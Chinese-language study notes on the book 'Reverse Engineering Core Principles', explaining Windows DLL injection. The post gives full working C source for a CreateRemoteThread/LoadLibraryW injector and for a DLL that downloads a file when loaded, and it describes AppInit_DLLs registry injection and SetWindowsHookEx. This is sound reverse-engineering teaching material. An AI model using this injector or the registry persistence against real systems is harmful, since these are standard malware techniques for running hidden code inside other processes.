逆向工程核心原理——DLL注入

  1. DLL注入
    1. DLL注入的实现方法
      1. CreateRemoteThread()
        1. myhack.dll
        2. InjectDll.exe
      2. AppInit_DLLS
        1. 原理
        2. 实验
      3. SetWindowsHookEx()
  2. DLL卸载

DLL注入

DLL注入是指向运行中的其他进程强制插入特点的DLL文件。DLL注入命令其他进程自行调用LoadLibrary()API,加载用户指定的DLL文件,此时该DLL的DllMain()函数就会被调用执行。

DLL注入的实现方法

  1. 创建远程线程(CreateRemoteThread() API)
  2. 使用注册表(AppInit_DLLs值)
  3. 消息钩取(SetWindowsHookEx()API)

CreateRemoteThread()

首先看一下myhack.dll源代码

myhack.dll

#include "pch.h"
#include<Windows.h>
#include<tchar.h>
#pragma comment(lib,"urlmon.lib")
#include <Urlmon.h>

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam) {
	//第三个参数填需要下载文件的地址
    URLDownloadToFile(NULL, DEF_URL, L"C:\\Users\\rkvir\\Desktop\\hook\\index.html", 0, NULL);
    return 0;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    HANDLE hThread = NULL;
    g_hMod = hModule;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugString(L"myhack.dll Injection!");
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
        CloseHandle(hThread);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我们可以看到该DLL被加载时,先输出一个字符串myhack.dll Injection!,然后创建线程调用函数,通过URLDownloadToFile()API下载指定网站的文件。

InjectDll.exe

当我们有了实现功能的DLL文件,现在还需要一个能够将DLL注入到进程中的工具

#include<Windows.h>
#include<tchar.h>

BOOL InjectDll(DWORD dwPid, LPCTSTR szDllPath) {
	HANDLE hProcess = NULL, hThread = NULL;
	HMODULE hMod = NULL;
	LPVOID pRemoteBuf = NULL;
	DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
	LPTHREAD_START_ROUTINE pThreadProc;
	//1.使用dwPid获取 目标进程(notepad.exe)句柄
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (!hProcess)
	{
		_tprintf(L"OpenProcess(%d)v failed!!! [%d]\n", dwPid, GetLastError());
		return FALSE;
	}
	//2.在目标进程(notepad.exe)中分配szDllName大小的内存,dll文件的路径
	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
	//3.将myhack.dll路径写入分配的内存
	WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
	//4.获取LoadLibraryW()API的地址
	hMod = GetModuleHandle(L"kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
	//5.在notepad.exe进程中运行线程
	//pThreadProc为notepa.exe进程内存中的LoadLibraryW地址
	//pRemoteBuf为写入到notepa.exe进程内存中的myhack.dll字符串地址
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);

	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);
	return TRUE;

}
int _tmain(int argc, TCHAR* argv[]) {
	if (argc!=3)
	{
		//检查输入程序的参数是否为3个
		_tprintf(L"USAGE: %s Pid Dll_Path \n", argv[0]);
	}
	if (InjectDll((DWORD)_tstol(argv[1]), argv[2]))
	{
		_tprintf(L"InjectDll(\"%s\") Success!!!\n", argv[2]);
	}
	else
	{
		_tprintf(L"InjectDll(\"%s\") Failed!!!\n", argv[2]);
	}
	return 0;
}

其实这里面最主要的就是CreateRemoteThread,通过这个API,我们可以在notepad.exe进程中创建一个实现DLL加载的LoadLibrary线程.CreateRemoteThread的第四个参数原本是指向线程函数地址,我们指向LoadLibrary,同时第五个参数就是LoadLibrary的参数,我们传入需要加载的DLL的路径。

AppInit_DLLS

将要注入的DLL的路径字符串写入AppInit_DLLs项目,然后将LoadAppInit_DLLs的项目置为1,就可以实现注入

原理

User32.dll被加载到进程中时,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary()API加载用户DLL。严格意义上说,dll只会加载到加载User32.dll的进程。

实验

我们实现注入myhack2.dll

1.首先修改AppInit_DLLs的值

2.将LoadAppInit_DLLs的值修改为1

3.重启系统,使修改生效

已经注入进去了,只要加载user32.dll的进程都会被注入,但是只有进程为notepad.exe才会进行操作

SetWindowsHookEx()

这个API安装好消息钩子后,由OS将指定的DLL强制注入到相应的进程

DLL卸载

利用了FreeLibrary()API,仅适用于卸载自己强制注入的DLL文件,和通过CreateRemoteThread原理一样,这里只是把第四个参数改为FreeLibrary的地址,第五个参数为DLL加载地址。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 767778848@qq.com